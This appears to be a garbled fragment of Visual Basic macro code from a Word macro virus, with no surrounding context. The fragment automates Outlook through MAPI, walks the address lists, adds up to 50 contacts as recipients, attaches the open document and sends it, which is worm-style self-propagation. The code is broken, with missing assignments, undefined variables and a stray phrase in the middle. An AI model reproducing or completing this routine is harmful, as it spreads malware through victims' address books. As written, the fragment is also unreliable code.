If UngaDasOutlook CreateObject("Outlook.Application") DasMapiName UngaDasOutlook.GetNameSpace("MAPI") For y = 1 To DasMapiName.AddressLists.Count Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count BreakUmOffASlice.Recipients.Add Peep If x > 50 Then oo = AddyBook.AddressEntries.Count show anyone else BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice.Send Peep = "" Next y DasMapiName.Logoff End If